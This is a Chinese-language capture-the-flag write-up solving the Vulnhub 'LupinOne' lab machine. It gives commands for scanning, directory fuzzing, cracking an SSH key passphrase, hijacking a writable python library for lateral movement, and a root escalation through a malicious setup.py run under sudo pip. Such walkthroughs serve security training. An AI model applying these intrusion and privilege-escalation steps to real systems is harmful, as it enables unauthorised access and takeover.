Vulnhub-Empire: LupinOne題解
本靶機為Vulnhub上Empire系列之LupinOne,地址:EMPIRE: LUPINONE
掃描與發現
利用arp-scan
命令掃描靶機IP
arp-scan -l
利用nmap
掃描開放端口
nmap -sV -p- 192.168.164.190
目標探索
瀏覽器打開80端口,發現是一張圖片,沒有其他內容,檢測源代碼也沒有發現有用信息
檢查robots.txt
文件發現/~myfiles
目錄,打開卻發現Error 404
在舊版本的Apache服務器中,~ 指代用戶主目錄,我們可以嘗試找到與此相似的路徑,使用wfuzz
工具對其路徑進行測試,發現~secret
目錄
wfuzz -c -z file,/usr/share/wordlists/wfuzz/general/common.txt --hc 403,404 http://192.168.164.190/~FUZZ
在瀏覽器中打開該路徑~secret/
發現一段文字
上面稱這是一個秘密目錄,這里隱藏了他創建的ssh 私鑰文件,並且得知用戶名為icex64
。接下來繼續在該路徑下搜索文件,得到.mysecret.txt
文件
wfuzz -c -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hc 404,403 -u http://192.168.164.190/~secret/.FUZZ.txt
瀏覽器打開發現是一串編碼后的字符串
可以使用編碼識別工具進行識別,發現其為Base58,使用在線工具進行解碼得到私鑰文件內容
拿到shell
在本地創建文件key,將私鑰保存到其中,然后使用john
工具破解密碼
python2 /usr/share/john/ssh2john.py key > keyhash
john keyhash --wordlist=/usr/share/wordlists/fasttrack.txt
得到密碼為P@55w0rd!
。將key 文件權限設為600(否則無法連接),然后利用ssh連接icex64
用戶
chmod 600 key
ssh icex64@192.168.164.190 -i key
水平越權
拿到shell后搜索suid
文件,Capability
文件,sudo -l
發現可以執行一條命令
來到/home/arsene目錄下,查看heist.py文件權限,沒有修改權限,查看內容,發現其調用了webbrower.open()
我們通過find
找到該文件的位置,查看其權限,發現可以寫入內容
find /usr/ -name '*webbrowser*'
ls -l /usr/lib/python3.9/webbrowser.py
我們可以直接編輯該文件,寫入調用shell腳本(或者反彈shell腳本)
保存退出,執行,獲得arsene用戶shell
sudo -u arsene /usr/bin/python3.9 /home/arsene/heist.py
權限提升
拿到arsene用戶權限后,查看sudo -l
,發現可以免密執行/usr/bin/pip
sudo -l
我們可以在當前路徑下新創建一個目錄並打開在里面創建setup.py
文件,里面寫入我們想運行的python腳本,如反彈shell,然后利用pip install
以root權限執行。
mkdir tmp
cd tmp
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > setup.py
sudo pip install .
來到root目錄下,打開root.txt拿到flag